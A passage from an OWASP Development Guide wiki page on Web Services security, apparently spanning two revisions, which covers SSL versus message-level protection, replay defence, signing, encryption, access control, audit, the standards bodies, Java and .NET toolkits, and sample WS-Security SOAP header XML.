As explained earlier, in section 0, Web Services themselves do not include separate extensions for access control, relying instead on the existing security framework. What they do provide, however, are mechanisms for discovering and describing security requirements of a SOAP service (via WS-Policy), and for obtaining appropriate security credentials via WS-Trust based services.
[[Category:FIXME|Please check the reference (see 0)]]

===Service trust ===

In order to establish mutual trust between client and service, they have to satisfy each other’s policy requirements. A simple and popular model is mutual certificate authentication via SSL, but it is not scalable for open service models, and supports only one authentication type. Services that require more flexibility have to use pretty much the same access control mechanisms as with users to establish each other’s identities prior to engaging in a conversation.

===Secure connections ===

Once trust is established it would be impractical to require its confirmation on each interaction. Instead, a secure client-server link is formed and maintained the entire time a client’s session is active. Again, the most popular mechanism today for maintaining such link is SSL, but it is not a Web Service-specific mechanism, and it has a number of shortcomings when applied to SOAP communication, as explained in 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Synchronization of user directories ===

This is a very acute problem when dealing with cross-domain applications, as users’ population tends to change frequently among different domains. So, how does a service in domain B decide whether it is going to trust user’s claim that he has been already authenticated in domain A? There exist different aspects of this problem. First – a common SSO mechanism, which implies that a user is known in both domains (through synchronization, or by some other means), and authentication tokens from one domain are acceptable in another. In Web Services world, this would be accomplished by passing around a SAML or Kerberos token for a user.

===Domain federation ===

Another aspect of the problem is when users are not shared across domains, but merely the fact that a user with certain ID has successfully authenticated in another domain, as would be the case with several large corporations, which would like to form a partnership, but would be reluctant to share customers’ details. The decision to accept this request is then based on the inter-domain procedures, establishing special trust relationships and allowing for exchanging such opaque tokens, which would be an example of Federation relationships. Of those efforts, most notable example is Liberty Alliance project, which is now being used as a basis for SAML 2.0 specifications. The work in this area is still far from being completed, and most of the existing deployments are nothing more than POC or internal pilot projects than to real cross-companies deployments, although LA’s website does list some case studies of large-scale projects.

==Available Implementations ==

It is important to realize from the beginning that no security standard by itself is going to provide security to the message exchanges – it is the installed implementations, which will be assessing conformance of the incoming SOAP messages to the applicable standards, as well as appropriately securing the outgoing messages.

===.NET – Web Service Extensions ===

Since new standards are being developed at a rather quick pace, .NET platform is not trying to catch up immediately, but uses Web Service Extensions (WSE) instead. WSE, currently at the version 2.0, adds development and runtime support for the latest Web Service security standards to the platform and development tools, even while they are still “work in progress”. Once standards mature, their support is incorporated into new releases of the .NET platform, which is what is going to happen when .NET 2.0 finally sees the world. The next release of WSE, 3.0, is going to coincide with VS.2005 release and will take advantages of the latest innovations of .NET 2.0 platform in messaging and Web Application areas.

Considering that Microsoft is one of the most active players in the Web Service security area and recognizing its influence in the industry, its WSE implementation is probably one of the most complete and up to date, and it is strongly advisable to run at least a quick interoperability check with WSE-secured .NET Web Service clients. If you have a Java-based Web Service, and the interoperability is a requirement (which is usually the case), in addition to the questions of security testing one needs to keep in mind the basic interoperability between Java and .NET Web Service data structures.

This is especially important since current versions of .NET Web Service tools frequently do not cleanly handle WS-Security’s and related XML schemas as published by OASIS, so some creativity on the part of a Web Service designer is needed. That said – WSE package itself contains very rich and well-structured functionality, which can be utilized both with ASP.NET-based and standalone Web Service clients to check incoming SOAP messages and secure outgoing ones at the infrastructure level, relieving Web Service programmers from knowing these details. Among other things, WSE 2.0 supports the most recent set of WS-Policy and WS-Security profiles, providing for basic message security and WS-Trust with WS-SecureConversation. Those are needed for establishing secure exchanges and sessions - similar to what SSL does at the transport level, but applied to message-based communication.

===Java toolkits ===

Most of the publicly available Java toolkits work at the level of XML security, i.e. XML-dsig and XML-enc – such as IBM’s XML Security Suite and Apache’s XML Security Java project. Java’s JSR 105 and JSR 106 (still not finalized) define Java bindings for signatures and encryption, which will allow plugging the implementations as JCA providers once work on those JSRs is completed.

Moving one level up, to address Web Services themselves, the picture becomes muddier – at the moment, there are many implementations in various stages of incompleteness. For instance, Apache is currently working on the WSS4J project, which is moving rather slowly, and there is commercial software package from Phaos (now owned by Oracle), which suffers from a lot of implementation problems.

A popular choice among Web Service developers today is Sun’s JWSDP, which includes support for Web Service security. However, its support for Web Service security specifications in the version 1.5 is only limited to implementation of the core WSS standard with username and X.509 certificate profiles. Security features are implemented as part of the JAX-RPC framework and configuration-driven, which allows for clean separation from the Web Service’s implementation.

===Hardware, software systems ===

This category includes complete systems, rather than toolkits or frameworks. On one hand, they usually provide rich functionality right off the shelf, on the other hand – its usage model is rigidly constrained by the solution’s architecture and implementation. This is in contrast to the toolkits, which do not provide any services by themselves, but handing system developers necessary tools to include the desired Web Service security features in their products… or to shoot themselves in the foot by applying them inappropriately.

These systems can be used at the infrastructure layer to verify incoming messages against the effective policy, check signatures, tokens, etc, before passing them on to the target Web Service. When applied to the outgoing SOAP messages, they act as a proxy, now altering the messages to decorate with the required security elements, sign and/or encrypt them.

Software systems are characterized by significant configuration flexibility, but comparatively slow processing. On the bright side, they often provide high level of integration with the existing enterprise infrastructure, relying on the back-end user and policy stores to look at the credentials, extracted from the WSS header, from the broader perspective. An example of such service is TransactionMinder from the former Netegrity – a Policy Enforcement Point for Web Services behind it, layered on top of the Policy Server, which makes policy decisions by checking the extracted credentials against the configured stores and policies.

For hardware systems, performance is the key – they have already broken gigabyte processing threshold, and allow for real-time processing of huge documents, decorated according to the variety of the latest Web Service security standards, not only WSS. The usage simplicity is another attractive point of those systems - in the most trivial cases, the hardware box may be literally dropped in, plugged, and be used right away. These qualities come with a price, however – this performance and simplicity can be achieved as long as the user stays within the pre-configured confines of the hardware box. The moment he tries to integrate with the back-end stores via callbacks (for those solutions that have this capability, since not all of them do), most of the advantages are lost. As an example of such hardware device, Layer 7 Technologies provides a scalable SecureSpan Networking Gateway, which acts both as the inbound firewall and the outbound proxy to handle XML traffic in real time.

==Problems ==

As is probably clear from the previous sections, Web Services are still experiencing a lot of turbulence, and it will take a while before they can really catch on. Here is a brief look at what problems surround currently existing security standards and their implementations.

===Immaturity of the standards ===

Most of the standards are either very recent (couple years old at most), or still being developed. Although standards development is done in committees, which, presumably, reduces risks by going through an exhaustive reviewing and commenting process, some error scenarios still slip in periodically, as no theory can possibly match the testing resulting from pounding by thousands of developers working in the real field.

Additionally, it does not help that for political reasons some of these standards are withheld from public process, which is the case with many standards from the WSA arena (see 0), or that some of the efforts are duplicated, as was the case with LA and WS-Federation specifications.
[[Category:FIXME|Please check the reference (see 0)]]

===Performance ===

XML parsing is a slow task, which is an accepted reality, and SOAP processing slows it down even more. Now, with expensive cryptographic and textual conversion operations thrown into the mix, these tasks become a performance bottleneck, even with the latest crypto- and XML-processing hardware solutions offered today. All of the products currently on the market are facing this issue, and they are trying to resolve it with varying degrees of success.

Hardware solutions, while substantially (by orders of magnitude) improving the performance, cannot always be used as an optimal solution, as they cannot be easily integrated with the already existing back-end software infrastructure, at least – not without making performance sacrifices. Another consideration whether hardware-based systems are the right solution – they are usually highly specialized in what they are doing, while modern Application Servers and security frameworks can usually offer a much greater variety of protection mechanisms, protecting not only Web Services, but also other deployed applications in a uniform and consistent way.

===Complexity and interoperability ===

As could be deduced from the previous sections, Web Service security standards are fairly complex, and have very steep learning curve associated with them. Most of the current products, dealing with Web Service security, suffer from very mediocre usability due to the complexity of the underlying infrastructure. Configuring all different policies, identities, keys, and protocols takes a lot of time and good understanding of the involved technologies, as most of the times errors that end users are seeing have very cryptic and misleading descriptions.

In order to help administrators and reduce security risks from service misconfigurations, many companies develop policy templates, which group together best practices for protecting incoming and outgoing SOAP messages. Unfortunately, this work is not currently on the radar of any of the standard’s bodies, so it appears unlikely that such templates will be released for public use any time soon. Closest to this effort may be WS-I’s Basic Security Profile (BSP), which tries to define the rules for better interoperability among Web Services, using a subset of common security features from various security standards like WSS. However, this work is not aimed at supplying the administrators with ready for deployment security templates matching the most popular business use cases, but rather at establishing the least common denominator.

===Key management ===

Key management usually lies at the foundation of any other security activity, as most protection mechanisms rely on cryptographic keys one way or another. While Web Services have XKMS protocol for key distribution, local key management still presents a huge challenge in most cases, since PKI mechanism has a lot of well-documented deployment and usability issues. Those systems that opt to use homegrown mechanisms for key management run significant risks in many cases, since questions of storing, updating, and recovering secret and private keys more often than not are not adequately addressed in such solutions.

==Further Reading ==

* SearchSOA, SOA needs practical operational governance, Toufic Boubez

http://searchsoa.techtarget.com/news/interview/0,289202,sid26_gci1288649,00.html?track=NL-110&ad=618937&asrc=EM_NLN_2827289&uid=4724698

* Whitepaper: Securing XML Web Services: XML Firewalls and XML VPNs

http://layer7tech.com/new/library/custompage.html?id=4

* eBizQ, The Challenges of SOA Security, Peter Schooff

http://www.ebizq.net/blogs/news_security/2008/01/the_complexity_of_soa_security.php

* Piliptchouk, D., WS-Security in the Enterprise, O’Reilly ONJava

http://www.onjava.com/pub/a/onjava/2005/02/09/wssecurity.html

http://www.onjava.com/pub/a/onjava/2005/03/30/wssecurity2.html

* WS-Security OASIS site

http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=wss

* Microsoft, ''What’s new with WSE 3.0''

http://msdn.microsoft.com/webservices/webservices/building/wse/default.aspx?pull=/library/en-us/dnwse/html/newwse3.asp

* Eoin Keary, Preventing DOS attacks on web services

https://www.threatsandcountermeasures.com/wiki/default.aspx/ThreatsAndCountermeasuresCommunityKB.PreventingDOSAttacksOnWebServices
[[category:FIXME | broken link]] 

==Reference==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Web Services]]

Web Services

2009-04-26T11:55:29Z

KirstenS: /* Types of tokens */

[[Guide Table of Contents|Development Guide Table of Contents]]
__TOC__
[[Category:FIXME|This article has a lot of what I think are placeholders for references. It says "see section 0" and I think those are intended to be replaced with actual sections. I have noted them where I have found them. Need to figure out what those intended to reference, and change the reference]]
This section of the Development Guide details the common issues facing Web services developers, and methods to address common issues. Due to the space limitations, it cannot look at all of the surrounding issues in great detail, since each of them deserves a separate book of its own. Instead, an attempt is made to steer the reader to the appropriate usage patterns, and warn about potential roadblocks on the way.

Web Services have received a lot of press, and with that comes a great deal of confusion over what they really are. Some are heralding Web Services as the biggest technology breakthrough since the web itself; others are more skeptical that they are nothing more than evolved web applications. In either case, the issues of web application security apply to web services just as they do to web applications.

==What are Web Services?==

Suppose you were making an application that you wanted other applications to be able to communicate with. For example, your Java application has stock information updated every 5 minutes and you would like other applications, ones that may not even exist yet, to be able to use the data.

One way you can do this is to serialize your Java objects and send them over the wire to the application that requests them. The problem with this approach is that a C# application would not be able to use these objects because it serializes and deserializes objects differently than Java.

Another approach you could take is to send a text file filled with data to the application that requests it. This is better because a C# application could read the data. But this has another flaw: Lets assume your stock application is not the only one the C# application needs to interact with. Maybe it needs weather data, local restaurant data, movie data, etc. If every one of these applications uses its own unique file format, it would take considerable research to get the C# application to a working state.

The solution to both of these problems is to send a standard file format. A format that any application can use, regardless of the data being transported. Web Services are this solution. They let any application communicate with any other application without having to consider the language it was developed in or the format of the data.

At the simplest level, web services can be seen as a specialized web application that differs mainly at the presentation tier level. While web applications typically are HTML-based, web services are XML-based. Interactive users for B2C (business to consumer) transactions normally access web applications, while web services are employed as building blocks by other web applications for forming B2B (business to business) chains using the so-called SOA model. Web services typically present a public functional interface, callable in a programmatic fashion, while web applications tend to deal with a richer set of features and are content-driven in most cases.

==Securing Web Services ==

Web services, like other distributed applications, require protection at multiple levels:

* SOAP messages that are sent on the wire should be delivered confidentially and without tampering

* The server needs to be confident who it is talking to and what the clients are entitled to

* The clients need to know that they are talking to the right server, and not a phishing site (see the Phishing chapter for more information)

* System message logs should contain sufficient information to reliably reconstruct the chain of events and track those back to the authenticated callers

Correspondingly, the high-level approaches to solutions, discussed in the following sections, are valid for pretty much any distributed application, with some variations in the implementation details.

The good news for Web Services developers is that these are infrastructure-level tasks, so, theoretically, it is only the system administrators who should be worrying about these issues. However, for a number of reasons discussed later in this chapter, WS developers usually have to be at least aware of all these risks, and oftentimes they still have to resort to manually coding or tweaking the protection components.

==Communication security ==

There is a commonly cited statement, and even more often implemented approach – “we are using SSL to protect all communication, we are secure”. At the same time, there have been so many articles published on the topic of “channel security vs. token security” that it hardly makes sense to repeat those arguments here. Therefore, listed below is just a brief rundown of most common pitfalls when using channel security alone:

* It provides only “point-to-point” security

Any communication with multiple “hops” requires establishing separate channels (and trusts) between each communicating node along the way. There is also a subtle issue of trust transitivity, as trusts between node pairs {A,B} and {B,C} do not automatically imply {A,C} trust relationship.

* Storage issue

After messages are received on the server (even if it is not the intended recipient), they exist in the clear-text form, at least – temporarily. Storing the transmitted information at the intermediate aggravates the problem or destination servers in log files (where it can be browsed by anybody) and local caches.

* Lack of interoperability

While SSL provides a standard mechanism for transport protection, applications then have to utilize highly proprietary mechanisms for transmitting credentials, ensuring freshness, integrity, and confidentiality of data sent over the secure channel. Using a different server, which is semantically equivalent, but accepts a different format of the same credentials, would require altering the client and prevent forming automatic B2B service chains.

Standards-based token protection in many cases provides a superior alternative for message-oriented Web Service SOAP communication model.

That said – the reality is that the most Web Services today are still protected by some form of channel security mechanism, which alone might suffice for a simple internal application. However, one should clearly realize the limitations of such approach, and make conscious trade-offs at the design time, whether channel, token, or combined protection would work better for each specific case.

==Passing credentials ==

In order to enable credentials exchange and authentication for Web Services, their developers must address the following issues.

First, since SOAP messages are XML-based, all passed credentials have to be converted to text format. This is not a problem for username/password types of credentials, but binary ones (like X.509 certificates or Kerberos tokens) require converting them into text prior to sending and unambiguously restoring them upon receiving, which is usually done via a procedure called Base64 encoding and decoding.

Second, passing credentials carries an inherited risk of their disclosure – either by sniffing them during the wire transmission, or by analyzing the server logs. Therefore, things like passwords and private keys need to be either encrypted, or just never sent “in the clear”. Usual ways to avoid sending sensitive credentials are using cryptographic hashing and/or signatures.

==Ensuring message freshness ==

Even a valid message may present a danger if it is utilized in a “replay attack” – i.e. it is sent multiple times to the server to make it repeat the requested operation. This may be achieved by capturing an entire message, even if it is sufficiently protected against tampering, since it is the message itself that is used for attack now (see the XML Injection section of the Interpreter Injection chapter).

Usual means to protect against replayed messages is either using unique identifiers (nonces) on messages and keeping track of processed ones, or using a relatively short validity time window. In the Web Services world, information about the message creation time is usually communicated by inserting timestamps, which may just tell the instant the message was created, or have additional information, like its expiration time, or certain conditions.

The latter solution, although easier to implement, requires clock synchronization and is sensitive to “server time skew,” whereas server or clients' clocks drift too much, preventing timely message delivery, although this usually does not present significant problems with modern-day computers. A greater issue lies with message queuing at the servers, where messages may be expiring while waiting to be processed in the queue of an especially busy or non-responsive server.

==Protecting message integrity ==

When a message is received by a web service, it must always ask two questions: “whether I trust the caller,” “whether it created this message.” Assuming that the caller trust has been established one way or another, the server has to be assured that the message it is looking at was indeed issued by the caller, and not altered along the way (intentionally or not). This may affect technical qualities of a SOAP message, such as the message’s timestamp, or business content, such as the amount to be withdrawn from the bank account. Obviously, neither change should go undetected by the server.

In communication protocols, there are usually some mechanisms like checksum applied to ensure packet’s integrity. This would not be sufficient, however, in the realm of publicly exposed Web Services, since checksums (or digests, their cryptographic equivalents) are easily replaceable and cannot be reliably tracked back to the issuer. The required association may be established by utilizing HMAC, or by combining message digests with either cryptographic signatures or with secret key-encryption (assuming the keys are only known to the two communicating parties) to ensure that any change will immediately result in a cryptographic error.

==Protecting message confidentiality ==

Oftentimes, it is not sufficient to ensure the integrity – in many cases it is also desirable that nobody can see the data that is passed around and/or stored locally. It may apply to the entire message being processed, or only to certain parts of it – in either case, some type of encryption is required to conceal the content. Normally, symmetric encryption algorithms are used to encrypt bulk data, since it is significantly faster than the asymmetric ones. Asymmetric encryption is then applied to protect the symmetric session keys, which, in many implementations, are valid for one communication only and are subsequently discarded.

Applying encryption requires conducting an extensive setup work, since the communicating parties now have to be aware of which keys they can trust, deal with certificate and key validation, and know which keys should be used for communication.

In many cases, encryption is combined with signatures to provide both integrity and confidentiality. Normally, signing keys are different from the encrypting ones, primarily because of their different lifecycles – signing keys are permanently associated with their owners, while encryption keys may be invalidated after the message exchange. Another reason may be separation of business responsibilities - the signing authority (and the corresponding key) may belong to one department or person, while encryption keys are generated by the server controlled by members of IT department.

==Access control ==

After the message has been received and successfully validated, the server must decide:

* Does it know who is requesting the operation (Identification)

* Does it trust the caller’s identity claim (Authentication)

* Does it allow the caller to perform this operation (Authorization)

There is not much WS-specific activity that takes place at this stage – just several new ways of passing the credentials for authentication. Most often, authorization (or entitlement) tasks occur completely outside of the Web Service implementation, at the Policy Server that protects the whole domain.

There is another significant problem here – the traditional HTTP firewalls do not help at stopping attacks at the Web Services. An organization would need an XML/SOAP firewall, which is capable of conducting application-level analysis of the web server’s traffic and make intelligent decision about passing SOAP messages to their destination. The reader would need to refer to other books and publications on this very important topic, as it is impossible to cover it within just one chapter.

==Audit ==

A common task, typically required from the audits, is reconstructing the chain of events that led to a certain problem. Normally, this would be achieved by saving server logs in a secure location, available only to the IT administrators and system auditors, in order to create what is commonly referred to as “audit trail”. Web Services are no exception to this practice, and follow the general approach of other types of Web Applications.

Another auditing goal is non-repudiation, meaning that a message can be verifiably traced back to the caller. Following the standard legal practice, electronic documents now require some form of an “electronic signature”, but its definition is extremely broad and can mean practically anything – in many cases, entering your name and birthday qualifies as an e-signature.

As far as the WS are concerned, such level of protection would be insufficient and easily forgeable. The standard practice is to require cryptographic digital signatures over any content that has to be legally binding – if a document with such a signature is saved in the audit log, it can be reliably traced to the owner of the signing key.

==Web Services Security Hierarchy ==

Technically speaking, Web Services themselves are very simple and versatile – XML-based communication, described by an XML-based grammar, called Web Services Description Language (WSDL, see http://www.w3.org/TR/2005/WD-wsdl20-20050510), which binds abstract service interfaces, consisting of messages, expressed as XML Schema, and operations, to the underlying wire format. Although it is by no means a requirement, the format of choice is currently SOAP over HTTP. This means that Web Service interfaces are described in terms of the incoming and outgoing SOAP messages, transmitted over HTTP protocol.

===Standards committees ===

Before reviewing the individual standards, it is worth taking a brief look at the organizations which are developing and promoting them. There are quite a few industry-wide groups and consortiums working in this area, most important of which are listed below.

W3C (see http://www.w3.org) is the most well known industry group, which owns many Web-related standards and develops them in Working Group format. Of particular interest to this chapter are XML Schema, SOAP, XML-dsig, XML-enc, and WSDL standards (called recommendations in the W3C’s jargon).

OASIS (see http://www.oasis-open.org) mostly deals with Web Service-specific standards, not necessarily security-related. It also operates on a committee basis, forming so-called Technical Committees (TC) for the standards that it is going to be developing. Of interest for this discussion, OASIS owns WS-Security and SAML standards.

Web Services Interoperability Organization (WS-I, see http://www.ws-i.org/) was formed to promote a general framework for interoperable Web Services. Mostly its work consists of taking other broadly accepted standards, and developing so-called profiles, or sets of requirements for conforming Web Service implementations. In particular, its Basic Security Profile (BSP) relies on the OASIS’ WS-Security standard and specifies sets of optional and required security features in Web Services that claim interoperability.

Liberty Alliance (LA, see http://projectliberty.org) consortium was formed to develop and promote an interoperable Identity Federation framework. Although this framework is not strictly Web Service-specific, but rather general, it is important for this topic because of its close relation with the SAML standard developed by OASIS.

Besides the previously listed organizations, there are other industry associations, both permanently established and short-lived, which push forward various Web Service security activities. They are usually made up of software industry’s leading companies, such as Microsoft, IBM, Verisign, BEA, Sun, and others, that join them to work on a particular issue or proposal. Results of these joint activities, once they reach certain maturity, are often submitted to standardizations committees as a basis for new industry standards.

==SOAP ==

Simple Object Access Protocol (SOAP, see http://www.w3.org/TR/2003/REC-soap12-part1-20030624/) provides an XML-based framework for exchanging structured and typed information between peer services. This information, formatted into Header and Body, can theoretically be transmitted over a number of transport protocols, but only HTTP binding has been formally defined and is in active use today. SOAP provides for Remote Procedure Call-style (RPC) interactions, similar to remote function calls, and Document-style communication, with message contents based exclusively on XML Schema definitions in the Web Service’s WSDL. Invocation results may be optionally returned in the response message, or a Fault may be raised, which is roughly equivalent to using exceptions in traditional programming languages.

SOAP protocol, while defining the communication framework, provides no help in terms of securing message exchanges – the communications must either happen over secure channels, or use protection mechanisms described later in this chapter.

===XML security specifications (XML-dsig & Encryption) ===

XML Signature (XML-dsig, see http://www.w3.org/TR/2002/REC-xmldsig-core-20020212/), and XML Encryption (XML-enc, see http://www.w3.org/TR/2002/REC-xmlenc-core-20021210/) add cryptographic protection to plain XML documents. These specifications add integrity, message and signer authentication, as well as support for encryption/decryption of whole XML documents or only of some elements inside them.

The real value of those standards comes from the highly flexible framework developed to reference the data being processed (both internal and external relative to the XML document), refer to the secret keys and key pairs, and to represent results of signing/encrypting operations as XML, which is added to/substituted in the original document.

However, by themselves, XML-dsig and XML-enc do not solve the problem of securing SOAP-based Web Service interactions, since the client and service first have to agree on the order of those operations, where to look for the signature, how to retrieve cryptographic tokens, which message elements should be signed and encrypted, how long a message is considered to be valid, and so on. These issues are addressed by the higher-level specifications, reviewed in the following sections.

===Security specifications ===

In addition to the above standards, there is a broad set of security-related specifications being currently developed for various aspects of Web Service operations.

One of them is SAML, which defines how identity, attribute, and authorization assertions should be exchanged among participating services in a secure and interoperable way.

A broad consortium, headed by Microsoft and IBM, with the input from Verisign, RSA Security, and other participants, developed a family of specifications, collectively known as “Web Services Roadmap”. Its foundation, WS-Security, has been submitted to OASIS and became an OASIS standard in 2004. Other important specifications from this family are still found in different development stages, and plans for their submission have not yet been announced, although they cover such important issues as security policies (WS-Policy et al), trust issues and security token exchange (WS-Trust), establishing context for secure conversation (WS-SecureConversation). One of the specifications in this family, WS-Federation, directly competes with the work being done by the LA consortium, and, although it is supposed to be incorporated into the Longhorn release of Windows, its future is not clear at the moment, since it has been significantly delayed and presently does not have industry momentum behind it.

==WS-Security Standard ==

WS-Security specification (WSS) was originally developed by Microsoft, IBM, and Verisign as part of a “Roadmap”, which was later renamed to Web Services Architecture, or WSA. WSS served as the foundation for all other specifications in this domain, creating a basic infrastructure for developing message-based security exchange. Because of its importance for establishing interoperable Web Services, it was submitted to OASIS and, after undergoing the required committee process, became an officially accepted standard. Current version is 1.0, and the work on the version 1.1 of the specification is under way and is expected to be finishing in the second half of 2005.
[[category:FIXME | outdated info? is it complete now?]]

===Organization of the standard ===

The WSS standard itself deals with several core security areas, leaving many details to so-called profile documents. The core areas, broadly defined by the standard, are:

* Ways to add security headers (WSSE Header) to SOAP Envelopes

* Attachment of security tokens and credentials to the message

* Inserting a timestamp

* Signing the message

* Encrypting the message

* Extensibility

Flexibility of the WS-Security standard lies in its extensibility, so that it remains adaptable to new types of security tokens and protocols that are being developed. This flexibility is achieved by defining additional profiles for inserting new types of security tokens into the WSS framework. While the signing and encrypting parts of the standards are not expected to require significant changes (only when the underlying XML-dsig and XML-enc are updated), the types of tokens, passed in WSS messages, and ways of attaching them to the message may vary substantially. At the high level the WSS standard defines three types of security tokens, attachable to a WSS Header: Username/password, Binary, and XML tokens. Each of those types is further specified in one (or more) profile document, which defines additional tokens' attributes and elements, needed to represent a particular type of security token.

[[Image:WSS_Specification_Hierarchy.gif|Figure 4: WSS specification hierarchy]]

===Purpose ===

The primary goal of the WSS standard is providing tools for message-level communication protection, whereas each message represents an isolated piece of information, carrying enough security data to verify all important message properties, such as: authenticity, integrity, freshness, and to initiate decryption of any encrypted message parts. This concept is a stark contrast to the traditional channel security, which methodically applies pre-negotiated security context to the whole stream, as opposed to the selective process of securing individual messages in WSS. In the Roadmap, that type of service is eventually expected to be provided by implementations of standards like WS-SecureConversation.

From the beginning, the WSS standard was conceived as a message-level toolkit for securely delivering data for higher level protocols. Those protocols, based on the standards like WS-Policy, WS-Trust, and Liberty Alliance, rely on the transmitted tokens to implement access control policies, token exchange, and other types of protection and integration. However, taken alone, the WSS standard does not mandate any specific security properties, and an ad-hoc application of its constructs can lead to subtle security vulnerabilities and hard to detect problems, as is also discussed in later sections of this chapter.

==WS-Security Building Blocks ==

The WSS standard actually consists of a number of documents – one core document, which defines how security headers may be included into SOAP envelope and describes all high-level blocks, which must be present in a valid security header. Profile documents have the dual task of extending definitions for the token types they are dealing with, providing additional attributes, elements, as well as defining relationships left out of the core specification, such as using attachments.

Core WSS 1.1 specification, located at http://www.oasis-open.org/committees/download.php/16790/wss-v1.1-spec-os-SOAPMessageSecurity.pdf, defines several types of security tokens (discussed later in this section – see 0), ways to reference them, timestamps, and ways to apply XML-dsig and XML-enc in the security headers – see the XML Dsig section for more details about their general structure.

Associated specifications are:

* Username token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16782/wss-v1.1-spec-os-UsernameTokenProfile.pdf, which adds various password-related extensions to the basic UsernameToken from the core specification

* X.509 token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16785/wss-v1.1-spec-os-x509TokenProfile.pdf which specifies, how X.509 certificates may be passed in the BinarySecurityToken, specified by the core document

* SAML Token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16768/wss-v1.1-spec-os-SAMLTokenProfile.pdf that specifies how XML-based SAML tokens can be inserted into WSS headers.

* Kerberos Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16788/wss-v1.1-spec-os-KerberosTokenProfile.pdf that defines how to encode Kerberos tickets and attach them to SOAP messages.

* Rights Expression Language (REL) Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16687/oasis-wss-rel-token-profile-1.1.pdf that describes the use of ISO/IEC 21000-5 Rights Expressions with respect to the WS-Security specification.

* SOAP with Attachments (SWA) Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16672/wss-v1.1-spec-os-SwAProfile.pdf that describes how to use WSS-Sec with SOAP Messages with Attachments.

===How data is passed ===

WSS security specification deals with two distinct types of data: security information, which includes security tokens, signatures, digests, etc; and message data, i.e. everything else that is passed in the SOAP message. Being an XML-based standard, WSS works with textual information grouped into XML elements. Any binary data, such as cryptographic signatures or Kerberos tokens, has to go through a special transform, called Base64 encoding/decoding, which provides straightforward conversion from binary to ASCII formats and back. The example below demonstrates how binary data looks like in the encoded format:

''cCBDQTAeFw0wNDA1MTIxNjIzMDRaFw0wNTA1MTIxNjIzMDRaMG8xCz''

After encoding a binary element, an attribute with the algorithm’s identifier is added to the XML element carrying the data, so that the receiver would know to apply the correct decoder to read it. These identifiers are defined in the WSS specification documents.

===Security header’s structure ===

A security header in a message is used as a sort of an envelope around a letter – it seals and protects the letter, but does not care about its content. This “indifference” works in the other direction as well, as the letter (SOAP message) should not know, nor should it care about its envelope (WSS Header), since the different units of information, carried on the envelope and in the letter, are presumably targeted at different people or applications.

A SOAP Header may actually contain multiple security headers, as long as they are addressed to different actors (for SOAP 1.1), or roles (for SOAP 1.2). Their contents may also be referring to each other, but such references present a very complicated logistical problem for determining the proper order of decryptions/signature verifications, and should generally be avoided. WSS security header itself has a loose structure, as the specification itself does not require any elements to be present – so, the minimalist header with an empty message will look like:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">

</wsse:Security>
</soap:Header>
<soap:Body>

</soap:Body>
</soap:Envelope>

However, to be useful, it must carry some information, which is going to help securing the message. It means including one or more security tokens (see 0) with references, XML Signature, and XML Encryption elements, if the message is signed and/or encrypted. So, a typical header will look more like the following picture:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">
<wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">MIICtzCCAi...
</wsse:BinarySecurityToken>
<xenc:EncryptedKey xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/>
<dsig:KeyInfo xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">
<wsse:SecurityTokenReference>
<wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>
</wsse:SecurityTokenReference>
</dsig:KeyInfo>
<xenc:CipherData>
<xenc:CipherValue>Nb0Mf...</xenc:CipherValue>
</xenc:CipherData>
<xenc:ReferenceList>
<xenc:DataReference URI="#aDNa2iD"/>
</xenc:ReferenceList>
</xenc:EncryptedKey>
<wsse:SecurityTokenReference wsu:Id="aZG0sG">
<wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz"> 1106844369755</wsse:KeyIdentifier>
</wsse:SecurityTokenReference>
<saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">
...
</saml:Assertion>
<wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">
<wsu:Created>2005-01-27T16:46:10Z</wsu:Created>
<wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>
</wsu:Timestamp>
<dsig:Signature xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" Id="sb738c7">
<dsig:SignedInfo Id="obLkHzaCOrAW4kxC9az0bLA22">
...
<dsig:Reference URI="#s91397860">
...
<dsig:DigestValue>5R3GSp+OOn17lSdE0knq4GXqgYM=</dsig:DigestValue>
</dsig:Reference>
</dsig:SignedInfo>
<dsig:SignatureValue Id="a9utKU9UZk">LIkagbCr5bkXLs8l...</dsig:SignatureValue>
<dsig:KeyInfo>
